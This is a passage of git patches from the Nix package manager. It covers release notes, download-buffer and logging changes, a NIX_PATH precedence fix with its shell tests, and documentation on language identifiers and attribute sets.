fix Darwin build sandbox +- [#10907](https://github.com/NixOS/nix/pull/10907): use opaque struct instead of `void *` in the C API +- [#10947](https://github.com/NixOS/nix/issues/10947): fix evaluation cache accidentally persisting disallowed IFD errors +- [#11020](https://github.com/NixOS/nix/pull/11020): enable fetch and eval caching for tarballs +- [#11041](https://github.com/NixOS/nix/pull/11041): add discovered attribute paths to the `--show-trace` error trace in `nix-build`, `nix-env`, OfBorg, and other callers of `getDerivations` +- [#11056](https://github.com/NixOS/nix/pull/11056): `s3` store now uses system defined proxy settings +- [#11077](https://github.com/NixOS/nix/pull/11077): support hardlinks in tarballs +- [#11100](https://github.com/NixOS/nix/pull/11100): pretty print values consistently regardless of prior thunk state +- [#11086](https://github.com/NixOS/nix/pull/11086): fix loss of evaluation cache additions in `nix env run`, `nix shell`, `nix develop`, and `nix fmt` +- [#11149](https://github.com/NixOS/nix/pull/11149): report GC time and number of GC cycles in `NIX_SHOW_STATS=1` report +- [#11142](https://github.com/NixOS/nix/pull/11142): aliased options can now also be passed as flags, just like their "normal" counterparts, e.g. `--build-max-jobs` now works +- [#11043](https://github.com/NixOS/nix/pull/11043): `assert a == b; e` now reports some detail about why `a` and `b` are different when they are +- [#11159](https://github.com/NixOS/nix/pull/11159): don't crash a nix-daemon worker process when the client disconnects +- Stability improvements and fixes [#10861](https://github.com/NixOS/nix/pull/10861), [#10865](https://github.com/NixOS/nix/pull/10865), [#10918](https://github.com/NixOS/nix/pull/10918), [#10916](https://github.com/NixOS/nix/pull/10916), [#10884](https://github.com/NixOS/nix/pull/10884), [#10943](https://github.com/NixOS/nix/pull/10943), [#11019](https://github.com/NixOS/nix/pull/11019), [#11122](https://github.com/NixOS/nix/pull/11122), [#11117](https://github.com/NixOS/nix/pull/11117) +- User documentation improvements [#10888](https://github.com/NixOS/nix/pull/10888), [#10966](https://github.com/NixOS/nix/pull/10966), [#10974](https://github.com/NixOS/nix/pull/10974), [#10997](https://github.com/NixOS/nix/pull/10997), [#11013](https://github.com/NixOS/nix/pull/11013), [#11059](https://github.com/NixOS/nix/pull/11059), [#11119](https://github.com/NixOS/nix/pull/11119), [#11116](https://github.com/NixOS/nix/pull/11116), [#11061](https://github.com/NixOS/nix/pull/11061), [#11102](https://github.com/NixOS/nix/pull/11102) +- BSD support: [#10896](https://github.com/NixOS/nix/pull/10896) [#11022](https://github.com/NixOS/nix/pull/11022) [#11156](https://github.com/NixOS/nix/pull/11156) +- Windows support: [#10769](https://github.com/NixOS/nix/pull/10769), [#10975](https://github.com/NixOS/nix/pull/10975) [#11153](https://github.com/NixOS/nix/pull/11153) +- Portability: [#7048](https://github.com/NixOS/nix/pull/7048) [#11090](https://github.com/NixOS/nix/pull/11090) +- Installer improvements [#10902](https://github.com/NixOS/nix/pull/10902) +- Performance improvements [#10853](https://github.com/NixOS/nix/pull/10853), [#10854](https://github.com/NixOS/nix/pull/10854), [#11082](https://github.com/NixOS/nix/pull/11082), [#11092](https://github.com/NixOS/nix/pull/11092), [#11113](https://github.com/NixOS/nix/pull/11113) + +Contributor experience improvements: + +Use Meson to build Nix (nearing completion) [#10855](https://github.com/NixOS/nix/pull/10855) [#10904](https://github.com/NixOS/nix/pull/10904) [#10908](https://github.com/NixOS/nix/pull/10908) [#10914](https://github.com/NixOS/nix/pull/10914) [#10933](https://github.com/NixOS/nix/pull/10933) [#10936](https://github.com/NixOS/nix/pull/10936) [#10954](https://github.com/NixOS/nix/pull/10954) [#10955](https://github.com/NixOS/nix/pull/10955) [#10967](https://github.com/NixOS/nix/pull/10967) [#10963](https://github.com/NixOS/nix/pull/10963) [#10973](https://github.com/NixOS/nix/pull/10973) [#11034](https://github.com/NixOS/nix/pull/11034) [#11054](https://github.com/NixOS/nix/pull/11054) [#11055](https://github.com/NixOS/nix/pull/11055) [#11064](https://github.com/NixOS/nix/pull/11064) [#11060](https://github.com/NixOS/nix/pull/11060) [#11155](https://github.com/NixOS/nix/pull/11155) +- Testing improvements [#10864](https://github.com/NixOS/nix/pull/10864), [#10903](https://github.com/NixOS/nix/pull/10903), [#10874](https://github.com/NixOS/nix/pull/10874), [#10922](https://github.com/NixOS/nix/pull/10922), [#11006](https://github.com/NixOS/nix/pull/11006), [#11110](https://github.com/NixOS/nix/pull/11110), [#10931](https://github.com/NixOS/nix/pull/10931), [#11123](https://github.com/NixOS/nix/pull/11123) + - [#10603](https://github.com/NixOS/nix/pull/10603): We now evaluate a set of flakes in CI + - [#10922](https://github.com/NixOS/nix/pull/10922): The functional test suite is now run in both in the build sandbox and in a NixOS environment +- CI improvements [#10929](https://github.com/NixOS/nix/pull/10929) [#10999](https://github.com/NixOS/nix/pull/10999) [#11009](https://github.com/NixOS/nix/pull/11009) [#11065](https://github.com/NixOS/nix/pull/11065) [#11071](https://github.com/NixOS/nix/pull/11071) +- Contributor documentation improvements [#10869](https://github.com/NixOS/nix/pull/10869), [#9871](https://github.com/NixOS/nix/pull/9871), [#10960](https://github.com/NixOS/nix/pull/10960), [#11147](https://github.com/NixOS/nix/pull/11147) +- Error message improvements: [#11050](https://github.com/NixOS/nix/pull/11050) [#11154](https://github.com/NixOS/nix/pull/11154) +- Cleaning up the Settings system (`nix.conf` and related architectural cleanups): [#10913](https://github.com/NixOS/nix/pull/10913), [#10951](https://github.com/NixOS/nix/pull/10951), [#11007](https://github.com/NixOS/nix/pull/11007), [#11108](https://github.com/NixOS/nix/pull/11108), [#11014](https://github.com/NixOS/nix/pull/11014), [#11109](https://github.com/NixOS/nix/pull/11109), [#11112](https://github.com/NixOS/nix/pull/11112) +- Other cleanups and refactors [#10857](https://github.com/NixOS/nix/pull/10857) [#10935](https://github.com/NixOS/nix/pull/10935) [#10873](https://github.com/NixOS/nix/pull/10873) [#10745](https://github.com/NixOS/nix/pull/10745) [#10961](https://github.com/NixOS/nix/pull/10961) [#10962](https://github.com/NixOS/nix/pull/10962) [#10972](https://github.com/NixOS/nix/pull/10972) [#11018](https://github.com/NixOS/nix/pull/11018) [#11035](https://github.com/NixOS/nix/pull/11035) [#11037](https://github.com/NixOS/nix/pull/11037) [#11081](https://github.com/NixOS/nix/pull/11081) [#11089](https://github.com/NixOS/nix/pull/11089) [#11093](https://github.com/NixOS/nix/pull/11093) [#11114](https://github.com/NixOS/nix/pull/11114) [#11103](https://github.com/NixOS/nix/pull/11103) [#11126](https://github.com/NixOS/nix/pull/11126) [#11125](https://github.com/NixOS/nix/pull/11125) [#11120](https://github.com/NixOS/nix/pull/11120) +- Scheduler/builder refactoring [#11005](https://github.com/NixOS/nix/pull/11005) +- [#11011](https://github.com/NixOS/nix/pull/11011): enable `-Werror=unused-result` + From caf4e98f0c0a0a7178538ee8ef7b199d2a655aac Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Wed, 24 Jul 2024 20:10:41 +0200 Subject: [PATCH 1180/1251] Log download durations --- src/libstore/filetransfer.cc | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/src/libstore/filetransfer.cc b/src/libstore/filetransfer.cc index cbbb0fe7a..e7dae333b 100644 --- a/src/libstore/filetransfer.cc +++ b/src/libstore/filetransfer.cc @@ -71,7 +71,10 @@ struct curlFileTransfer : public FileTransfer curl_off_t writtenToSink = 0; + std::chrono::steady_clock::time_point startTime = std::chrono::steady_clock::now(); + inline static const std::set successfulStatuses {200, 201, 204, 206, 304, 0 /* other protocol */}; + /* Get the HTTP status code, or 0 for other protocols. */ long getHTTPStatus() { @@ -373,10 +376,14 @@ struct curlFileTransfer : public FileTransfer void finish(CURLcode code) { + auto finishTime = std::chrono::steady_clock::now(); + auto httpStatus = getHTTPStatus(); - debug("finished %s of '%s'; curl status = %d, HTTP status = %d, body = %d bytes", - request.verb(), request.uri, code, httpStatus, result.bodySize); + debug("finished %s of '%s'; curl status = %d, HTTP status = %d, body = %d bytes, duration = %.2f s", + request.verb(), request.uri, code, httpStatus, result.bodySize, + std::chrono::duration_cast(finishTime - startTime).count() / 1000.0f + ); appendCurrentUrl(); From 8ffea0a018874e60584eabeb620ec3495873c30d Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Wed, 24 Jul 2024 20:10:45 +0200 Subject: [PATCH 1181/1251] Add 'download-buffer-size' setting We are piping curl downloads into `unpackTarfileToSink()`, but the latter is typically slower than the former if you're on a fast connection. So the download could appear unnecessarily slow. (There is even a risk that if the Git import is *really* slow for whatever reason, the TCP connection could time out.) So let's make the download buffer bigger by default - 64 MiB is big enough for the Nixpkgs tarball. Perhaps in the future, we could have an unlimited buffer that spills data to disk beyond a certain threshold, but that's probably overkill. --- src/libstore/filetransfer.cc | 2 +- src/libstore/filetransfer.hh | 6 ++++++ 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/src/libstore/filetransfer.cc b/src/libstore/filetransfer.cc index e7dae333b..f48c2e22d 100644 --- a/src/libstore/filetransfer.cc +++ b/src/libstore/filetransfer.cc @@ -858,7 +858,7 @@ void FileTransfer::download( buffer). We don't wait forever to prevent stalling the download thread. (Hopefully sleeping will throttle the sender.) */ - if (state->data.size() > 1024 * 1024) { + if (state->data.size() > fileTransferSettings.downloadBufferSize) { debug("download buffer is full; going to sleep"); state.wait_for(state->request, std::chrono::seconds(10)); } diff --git a/src/libstore/filetransfer.hh b/src/libstore/filetransfer.hh index 1f5b4ab93..d836ab2c4 100644 --- a/src/libstore/filetransfer.hh +++ b/src/libstore/filetransfer.hh @@ -47,6 +47,12 @@ struct FileTransferSettings : Config Setting tries{this, 5, "download-attempts", "How often Nix will attempt to download a file before giving up."}; + + Setting downloadBufferSize{this, 64 * 1024 * 1024, "download-buffer-size", + R"( + The size of Nix's internal download buffer during `curl` transfers. If data is + not processed quickly enough to exceed the size of this buffer, downloads may stall. + )"}; }; extern FileTransferSettings fileTransferSettings; From f6a9a71b38b25d6c9fb0b9a7fbf0eccf99fa5520 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Wed, 24 Jul 2024 20:14:31 +0200 Subject: [PATCH 1182/1251] Warn if the download buffer is full --- src/libstore/filetransfer.cc | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/libstore/filetransfer.cc b/src/libstore/filetransfer.cc index f48c2e22d..5ea8b6f96 100644 --- a/src/libstore/filetransfer.cc +++ b/src/libstore/filetransfer.cc @@ -860,6 +860,8 @@ void FileTransfer::download( sender.) */ if (state->data.size() > fileTransferSettings.downloadBufferSize) { debug("download buffer is full; going to sleep"); + static bool haveWarned = false; + warnOnce(haveWarned, "download buffer is full; consider increasing the 'download-buffer-size' setting"); state.wait_for(state->request, std::chrono::seconds(10)); } From 01839b525c5e80d7f67f2808f7f7fb478ddf1ba0 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Wed, 24 Jul 2024 20:22:26 +0200 Subject: [PATCH 1183/1251] Show when we're unpacking an archive into the Git cache This happens in parallel with the download (which starts later), so you only see this message when the download has finished but the import hasn't. --- src/libfetchers/github.cc | 5 +++++ src/libfetchers/tarball.cc | 5 +++++ 2 files changed, 10 insertions(+) diff --git a/src/libfetchers/github.cc b/src/libfetchers/github.cc index 2968d2df2..5710b94d5 100644 --- a/src/libfetchers/github.cc +++ b/src/libfetchers/github.cc @@ -254,10 +254,15 @@ struct GitArchiveInputScheme : InputScheme getFileTransfer()->download(std::move(req), sink); }); + auto act = std::make_unique(*logger, lvlInfo, actUnknown, + fmt("unpacking '%s' into the Git cache", input.to_string())); + TarArchive archive { *source }; auto parseSink = getTarballCache()->getFileSystemObjectSink(); auto lastModified = unpackTarfileToSink(archive, *parseSink); + act.reset(); + TarballInfo tarballInfo { .treeHash = parseSink->sync(), .lastModified = lastModified diff --git a/src/libfetchers/tarball.cc b/src/libfetchers/tarball.cc index 55db3eafb..5837cf8a4 100644 --- a/src/libfetchers/tarball.cc +++ b/src/libfetchers/tarball.cc @@ -143,6 +143,9 @@ DownloadTarballResult downloadTarball( // TODO: fall back to cached value if download fails. + auto act = std::make_unique(*logger, lvlInfo, actUnknown, + fmt("unpacking '%s' into the Git cache", url)); + AutoDelete cleanupTemp; /* Note: if the download is cached, `importTarball()` will receive @@ -167,6 +170,8 @@ DownloadTarballResult downloadTarball( auto parseSink = getTarballCache()->getFileSystemObjectSink(); auto lastModified = unpackTarfileToSink(archive, *parseSink); + act.reset(); + auto res(_res->lock()); Attrs infoAttrs; From e0620213146b1a581533302a2fab54af21d49685 Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Wed, 24 Jul 2024 23:17:15 +0200 Subject: [PATCH 1184/1251] fix `NIX_PATH` for real (#11079) * fix NIX_PATH overriding - test restricted evaluation - test precedence for setting the search path Co-authored-by: Robert Hensing Co-authored-by: John Ericson --- src/libexpr/eval-gc.cc | 8 ++++ src/libexpr/eval-settings.cc | 7 +--- src/libexpr/eval-settings.hh | 4 +- src/libexpr/eval.cc | 17 +++++++-- src/libutil/config.cc | 14 ++++++- tests/functional/nix_path.sh | 70 ++++++++++++++++++++++++++++++++++ tests/functional/restricted.sh | 3 ++ 7 files changed, 111 insertions(+), 12 deletions(-) diff --git a/src/libexpr/eval-gc.cc b/src/libexpr/eval-gc.cc index ba19cd74e..d82ed1534 100644 --- a/src/libexpr/eval-gc.cc +++ b/src/libexpr/eval-gc.cc @@ -1,5 +1,7 @@ #include "error.hh" #include "environment-variables.hh" +#include "eval-settings.hh" +#include "config-global.hh" #include "serialise.hh" #include "eval-gc.hh" @@ -230,6 +232,12 @@ void initGC() gcCyclesAfterInit = GC_get_gc_no(); #endif + // NIX_PATH must override the regular setting + // See the comment in applyConfig + if (auto nixPathEnv = getEnv("NIX_PATH")) { + globalConfig.set("nix-path", concatStringsSep(" ", EvalSettings::parseNixPath(nixPathEnv.value()))); + } + gcInitialised = true; } diff --git a/src/libexpr/eval-settings.cc b/src/libexpr/eval-settings.cc index eb5761638..2846eccbc 100644 --- a/src/libexpr/eval-settings.cc +++ b/src/libexpr/eval-settings.cc @@ -8,7 +8,7 @@ namespace nix { /* Very hacky way to parse $NIX_PATH, which is colon-separated, but can contain URLs (e.g. "nixpkgs=https://bla...:foo=https://"). */ -static Strings parseNixPath(const std::string & s) +Strings EvalSettings::parseNixPath(const std::string & s) { Strings res; @@ -48,10 +48,7 @@ EvalSettings::EvalSettings(bool & readOnlyMode, EvalSettings::LookupPathHooks lo : readOnlyMode{readOnlyMode} , lookupPathHooks{lookupPathHooks} { - auto var = getEnv("NIX_PATH"); - if (var) nixPath = parseNixPath(*var); - - var = getEnv("NIX_ABORT_ON_WARN"); + auto var = getEnv("NIX_ABORT_ON_WARN"); if (var && (var == "1" || var == "yes" || var == "true")) builtinsAbortOnWarn = true; } diff --git a/src/libexpr/eval-settings.hh b/src/libexpr/eval-settings.hh index 89a42caba..8f48b53a5 100644 --- a/src/libexpr/eval-settings.hh +++ b/src/libexpr/eval-settings.hh @@ -47,6 +47,8 @@ struct EvalSettings : Config static bool isPseudoUrl(std::string_view s); + static Strings parseNixPath(const std::string & s); + static std::string resolvePseudoUrl(std::string_view url); LookupPathHooks lookupPathHooks; @@ -71,7 +73,7 @@ struct EvalSettings : Config )"}; Setting nixPath{ - this, getDefaultNixPath(), "nix-path", + this, {}, "nix-path", R"( List of search paths to use for [lookup path](@docroot@/language/constructs/lookup-path.md) resolution. This setting determines the value of diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index b192f9b4b..9a6b6c9e8 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -215,7 +215,7 @@ static Symbol getName(const AttrName & name, EvalState & state, Env & env) static constexpr size_t BASE_ENV_SIZE = 128; EvalState::EvalState( - const LookupPath & _lookupPath, + const LookupPath & lookupPathFromArguments, ref store, const fetchers::Settings & fetchSettings, const EvalSettings & settings, @@ -331,12 +331,21 @@ EvalState::EvalState( vStringSymlink.mkString("symlink"); vStringUnknown.mkString("unknown"); - /* Initialise the Nix expression search path. */ + /* Construct the Nix expression search path. */ + assert(lookupPath.elements.empty()); if (!settings.pureEval) { - for (auto & i : _lookupPath.elements) + for (auto & i : lookupPathFromArguments.elements) { lookupPath.elements.emplace_back(LookupPath::Elem {i}); - for (auto & i : settings.nixPath.get()) + } + /* $NIX_PATH overriding regular settings is implemented as a hack in `initGC()` */ + for (auto & i : settings.nixPath.get()) { lookupPath.elements.emplace_back(LookupPath::Elem::parse(i)); + } + if (!settings.restrictEval) { + for (auto & i : EvalSettings::getDefaultNixPath()) { + lookupPath.elements.emplace_back(LookupPath::Elem::parse(i)); + } + } } /* Allow access to all paths in the search path. */ diff --git a/src/libutil/config.cc b/src/libutil/config.cc index b39948261..ca8480304 100644 --- a/src/libutil/config.cc +++ b/src/libutil/config.cc @@ -1,6 +1,7 @@ #include "config.hh" #include "args.hh" #include "abstract-setting-to-json.hh" +#include "environment-variables.hh" #include "experimental-features.hh" #include "util.hh" #include "file-system.hh" @@ -170,9 +171,18 @@ void AbstractConfig::applyConfig(const std::string & contents, const std::string set(name, value); // Then apply other settings - for (const auto & [name, value] : parsedContents) - if (name != "experimental-features" && name != "extra-experimental-features") + // XXX: NIX_PATH must override the regular setting! This is done in `initGC()` + // Environment variables overriding settings should probably be part of the Config mechanism, + // but at the time of writing it's not worth building that for just one thing + for (const auto & [name, value] : parsedContents) { + if (name != "experimental-features" && name != "extra-experimental-features") { + if ((name == "nix-path" || name == "extra-nix-path") + && getEnv("NIX_PATH").has_value()) { + continue; + } set(name, value); + } + } } void Config::resetOverridden() diff --git a/tests/functional/nix_path.sh b/tests/functional/nix_path.sh index e6a2193f3..7e6a0458d 100755 --- a/tests/functional/nix_path.sh +++ b/tests/functional/nix_path.sh @@ -14,3 +14,73 @@ nix-instantiate --eval -E '' --restrict-eval [[ $(nix-instantiate --find-file by-absolute-path/simple.nix) = $PWD/simple.nix ]] [[ $(nix-instantiate --find-file by-relative-path/simple.nix) = $PWD/simple.nix ]] + +# this is the human-readable specification for the following test cases of interactions between various ways of specifying NIX_PATH. +# TODO: the actual tests are incomplete and too manual. +# there should be 43 of them, since the table has 9 rows and columns, and 2 interactions are meaningless +# ideally they would work off the table programmatically. +# +# | precedence | hard-coded | nix-path in file | extra-nix-path in file | nix-path in env | extra-nix-path in env | NIX_PATH | nix-path | extra-nix-path | -I | +# |------------------------|------------|------------------|------------------------|-----------------|-----------------------|-----------|-----------|-----------------|-----------------| +# | hard-coded | x | ^override | ^append | ^override | ^append | ^override | ^override | ^append | ^append | +# | nix-path in file | | last wins | ^append | ^override | ^append | ^override | ^override | ^append | ^append | +# | extra-nix-path in file | | | append in order | ^override | ^append | ^override | ^override | ^append | ^append | +# | nix-path in env | | | | last wins | ^append | ^override | ^override | ^append | ^append | +# | extra-nix-path in env | | | | | append in order | ^override | ^override | ^append | ^append | +# | NIX_PATH | | | | | | x | ^override | ^append | ^append | +# | nix-path | | | | | | | last wins | ^append | ^append | +# | extra-nix-path | | | | | | | | append in order | append in order | +# | -I | | | | | | | | | append in order | + +unset NIX_PATH + +mkdir -p $TEST_ROOT/{from-nix-path-file,from-NIX_PATH,from-nix-path,from-extra-nix-path,from-I} +for i in from-nix-path-file from-NIX_PATH from-nix-path from-extra-nix-path from-I; do + touch $TEST_ROOT/$i/only-$i.nix +done + +# finding something that's not in any of the default paths fails +( ! $(nix-instantiate --find-file test) ) + +echo "nix-path = test=$TEST_ROOT/from-nix-path-file" >> "$test_nix_conf" + +# Use nix.conf in absence of NIX_PATH +[[ $(nix-instantiate --find-file test) = $TEST_ROOT/from-nix-path-file ]] + +# NIX_PATH overrides nix.conf +[[ $(NIX_PATH=test=$TEST_ROOT/from-NIX_PATH nix-instantiate --find-file test) = $TEST_ROOT/from-NIX_PATH ]] +# if NIX_PATH does not have the desired entry, it fails +(! NIX_PATH=test=$TEST_ROOT nix-instantiate --find-file test/only-from-nix-path-file.nix) + +# -I extends nix.conf +[[ $(nix-instantiate -I test=$TEST_ROOT/from-I --find-file test/only-from-I.nix) = $TEST_ROOT/from-I/only-from-I.nix ]] +# if -I does not have the desired entry, the value from nix.conf is used +[[ $(nix-instantiate -I test=$TEST_ROOT/from-I --find-file test/only-from-nix-path-file.nix) = $TEST_ROOT/from-nix-path-file/only-from-nix-path-file.nix ]] + +# -I extends NIX_PATH +[[ $(NIX_PATH=test=$TEST_ROOT/from-NIX_PATH nix-instantiate -I test=$TEST_ROOT/from-I --find-file test/only-from-I.nix) = $TEST_ROOT/from-I/only-from-I.nix ]] +# if -I does not have the desired entry, the value from NIX_PATH is used +[[ $(NIX_PATH=test=$TEST_ROOT/from-NIX_PATH nix-instantiate -I test=$TEST_ROOT/from-I --find-file test/only-from-NIX_PATH.nix) = $TEST_ROOT/from-NIX_PATH/only-from-NIX_PATH.nix ]] + +# --extra-nix-path extends NIX_PATH +[[ $(NIX_PATH=test=$TEST_ROOT/from-NIX_PATH nix-instantiate --extra-nix-path test=$TEST_ROOT/from-extra-nix-path --find-file test/only-from-extra-nix-path.nix) = $TEST_ROOT/from-extra-nix-path/only-from-extra-nix-path.nix ]] +# if --extra-nix-path does not have the desired entry, the value from NIX_PATH is used +[[ $(NIX_PATH=test=$TEST_ROOT/from-NIX_PATH nix-instantiate --extra-nix-path test=$TEST_ROOT/from-extra-nix-path --find-file test/only-from-NIX_PATH.nix) = $TEST_ROOT/from-NIX_PATH/only-from-NIX_PATH.nix ]] + +# --nix-path overrides NIX_PATH +[[ $(NIX_PATH=test=$TEST_ROOT/from-NIX_PATH nix-instantiate --nix-path test=$TEST_ROOT/from-nix-path --find-file test) = $TEST_ROOT/from-nix-path ]] +# if --nix-path does not have the desired entry, it fails +(! NIX_PATH=test=$TEST_ROOT/from-NIX_PATH nix-instantiate --nix-path test=$TEST_ROOT/from-nix-path --find-file test/only-from-NIX_PATH.nix) + +# --nix-path overrides nix.conf +[[ $(nix-instantiate --nix-path test=$TEST_ROOT/from-nix-path --find-file test) = $TEST_ROOT/from-nix-path ]] +(! nix-instantiate --nix-path test=$TEST_ROOT/from-nix-path --find-file test/only-from-nix-path-file.nix) + +# --extra-nix-path extends nix.conf +[[ $(nix-instantiate --extra-nix-path test=$TEST_ROOT/from-extra-nix-path --find-file test/only-from-extra-nix-path.nix) = $TEST_ROOT/from-extra-nix-path/only-from-extra-nix-path.nix ]] +# if --extra-nix-path does not have the desired entry, it is taken from nix.conf +[[ $(nix-instantiate --extra-nix-path test=$TEST_ROOT/from-extra-nix-path --find-file test) = $TEST_ROOT/from-nix-path-file ]] + +# -I extends --nix-path +[[ $(nix-instantiate --nix-path test=$TEST_ROOT/from-nix-path -I test=$TEST_ROOT/from-I --find-file test/only-from-I.nix) = $TEST_ROOT/from-I/only-from-I.nix ]] +[[ $(nix-instantiate --nix-path test=$TEST_ROOT/from-nix-path -I test=$TEST_ROOT/from-I --find-file test/only-from-nix-path.nix) = $TEST_ROOT/from-nix-path/only-from-nix-path.nix ]] diff --git a/tests/functional/restricted.sh b/tests/functional/restricted.sh index 915d973b0..591367e9f 100755 --- a/tests/functional/restricted.sh +++ b/tests/functional/restricted.sh @@ -10,6 +10,9 @@ nix-instantiate --restrict-eval --eval -E '1 + 2' nix-instantiate --restrict-eval ./simple.nix -I src=. nix-instantiate --restrict-eval ./simple.nix -I src1=simple.nix -I src2=config.nix -I src3=./simple.builder.sh +# no default NIX_PATH +(unset NIX_PATH; ! nix-instantiate --restrict-eval --find-file .) + (! nix-instantiate --restrict-eval --eval -E 'builtins.readFile ./simple.nix') nix-instantiate --restrict-eval --eval -E 'builtins.readFile ./simple.nix' -I src=../.. From dba1142c01111f1f98cc89aa850d5df0c012a907 Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Thu, 25 Jul 2024 03:45:34 +0200 Subject: [PATCH 1185/1251] docs: add identifiers (#11174) * docs: add identifiers * clarify attribute set notation and add examples * add definition of names Co-authored-by: Ryan Hendrickson --- doc/manual/src/SUMMARY.md.in | 1 + doc/manual/src/language/identifiers.md | 50 ++++++++++++++++ doc/manual/src/language/operators.md | 6 -- doc/manual/src/language/syntax.md | 83 +++++++++++++++++++------- 4 files changed, 112 insertions(+), 28 deletions(-) create mode 100644 doc/manual/src/language/identifiers.md diff --git a/doc/manual/src/SUMMARY.md.in b/doc/manual/src/SUMMARY.md.in index a6a2101e9..b4dd277e3 100644 --- a/doc/manual/src/SUMMARY.md.in +++ b/doc/manual/src/SUMMARY.md.in @@ -28,6 +28,7 @@ - [Data Types](language/types.md) - [String context](language/string-context.md) - [Syntax and semantics](language/syntax.md) + - [Identifiers](language/identifiers.md) - [Scoping rules](language/scope.md) - [String interpolation](language/string-interpolation.md) - [Lookup path](language/constructs/lookup-path.md) diff --git a/doc/manual/src/language/identifiers.md b/doc/manual/src/language/identifiers.md new file mode 100644 index 000000000..c9e981da6 --- /dev/null +++ b/doc/manual/src/language/identifiers.md @@ -0,0 +1,50 @@ +# Identifiers + +An *identifier* is an [ASCII](https://en.wikipedia.org/wiki/ASCII) character sequence that: +- Starts with a letter (`a-z`, `A-Z`) or underscore (`_`) +- Can contain any number of: + - Letters (`a-z`, `A-Z`) + - Digits (`0-9`) + - Underscores (`_`) + - Apostrophes (`'`) + - Hyphens (`-`) +- Is not one of the [keywords](#keywords) + +> **Syntax** +> +> *identifier* ~ `[A-Za-z_][A-Za-z0-9_'-]*` + +# Names + +A name can be an [identifier](#identifier) or a [string literal](./syntax.md#string-literal). + +> **Syntax** +> +> *name* → *identifier* | *string* + +Names are used in [attribute sets](./syntax.md#attrs-literal), [`let` bindings](./syntax.md#let-expressions), and [`inherit`](./syntax.md#inheriting attributes). + +# Keywords + +These keywords are reserved and cannot be used as [identifiers](#identifiers): + +- [`assert`](./syntax.md#assertions) +- [`else`][if] +- [`if`][if] +- [`in`][let] +- [`inherit`](./syntax.md#inheriting-attributes) +- [`let`][let] +- [`or`](./operators.md#attribute-selection) (see note) +- [`rec`](./syntax.md#recursive-sets) +- [`then`][if] +- [`with`](./syntax.md#with-expressions) + +[if]: ./syntax.md#conditionals +[let]: ./syntax.md#let-expressions + +> **Note** +> +> The Nix language evaluator currently allows `or` to be used as a name in some contexts, for backwards compatibility reasons. +> Users are advised not to rely on this. +> +> There are long-standing issues with how `or` is parsed as a name, which can't be resolved without making a breaking change to the language. diff --git a/doc/manual/src/language/operators.md b/doc/manual/src/language/operators.md index 9660a764d..d2476c413 100644 --- a/doc/manual/src/language/operators.md +++ b/doc/manual/src/language/operators.md @@ -42,12 +42,6 @@ Select the attribute denoted by attribute path *attrpath* from [attribute set] *attrset*. If the attribute doesn’t exist, return the *expr* after `or` if provided, otherwise abort evaluation. -An attribute path is a dot-separated list of [attribute names](./types.md#attribute-set). - -> **Syntax** -> -> *attrpath* = *name* [ `.` *name* ]... - [Attribute selection]: #attribute-selection ## Has attribute diff --git a/doc/manual/src/language/syntax.md b/doc/manual/src/language/syntax.md index b0779ea95..6108bacd6 100644 --- a/doc/manual/src/language/syntax.md +++ b/doc/manual/src/language/syntax.md @@ -247,37 +247,76 @@ Elements in a list can be accessed using [`builtins.elemAt`](./builtins.md#built ## Attribute Set {#attrs-literal} -An attribute set is a collection of name-value-pairs (called *attributes*) enclosed in curly brackets (`{ }`). +An attribute set is a collection of name-value-pairs called *attributes*. -An attribute name can be an identifier or a [string](#string). -An identifier must start with a letter (`a-z`, `A-Z`) or underscore (`_`), and can otherwise contain letters (`a-z`, `A-Z`), numbers (`0-9`), underscores (`_`), apostrophes (`'`), or dashes (`-`). +Attribute sets are written enclosed in curly brackets (`{ }`). +Attribute names and attribute values are separated by an equal sign (`=`). +Each value can be an arbitrary expression, terminated by a semicolon (`;`) + +An attribute name is a string without context, and is denoted by a [name] (an [identifier](./identifiers.md#identifiers) or [string literal](#string-literal)). + +[name]: ./identifiers.md#names > **Syntax** > -> *name* = *identifier* | *string* \ -> *identifier* ~ `[a-zA-Z_][a-zA-Z0-9_'-]*` - -Names and values are separated by an equal sign (`=`). -Each value is an arbitrary expression terminated by a semicolon (`;`). - -> **Syntax** -> -> *attrset* = `{` [ *name* `=` *expr* `;` ]... `}` +> *attrset* → `{` { *name* `=` *expr* `;` } `}` Attributes can appear in any order. -An attribute name may only occur once. +An attribute name may only occur once in each attribute set. -Example: +> **Example** +> +> This defines an attribute set with attributes named: +> - `x` with the value `123`, an integer +> - `text` with the value `"Hello"`, a string +> - `y` where the value is the result of applying the function `f` to the attribute set `{ bla = 456; }` +> +> ```nix +> { +> x = 123; +> text = "Hello"; +> y = f { bla = 456; }; +> } +> ``` -```nix -{ - x = 123; - text = "Hello"; - y = f { bla = 456; }; -} -``` +Attributes in nested attribute sets can be written using *attribute paths*. -This defines a set with attributes named `x`, `text`, `y`. +> **Syntax** +> +> *attrset* → `{` { *attrpath* `=` *expr* `;` } `}` + +An attribute path is a dot-separated list of [names][name]. + +> **Syntax** +> +> *attrpath* = *name* { `.` *name* } + + + +> **Example** +> +> ```nix +> { a.b.c = 1; a.b.d = 2; } +> ``` +> +> { +> a = { +> b = { +> c = 1; +> d = 2; +> }; +> }; +> } + +Attribute names can also be set implicitly by using the [`inherit` keyword](#inheriting-attributes). + +> **Example** +> +> ```nix +> { inherit (builtins) true; } +> ``` +> +> { true = true; } Attributes can be accessed with the [`.` operator](./operators.md#attribute-selection). From f4915af71c9a72a0519c90088abb3a36c265ca95 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 24 Jul 2024 22:25:08 -0400 Subject: [PATCH 1186/1251] Put flake functional tests in their own group This is a nice thing to have, and it made it easier to work on the Meson-ifcation of these functional tests too. --- Makefile | 1 + tests/functional/flakes/local.mk | 24 ++++++++++++++++++++++++ tests/functional/local.mk | 21 --------------------- 3 files changed, 25 insertions(+), 21 deletions(-) create mode 100644 tests/functional/flakes/local.mk diff --git a/Makefile b/Makefile index 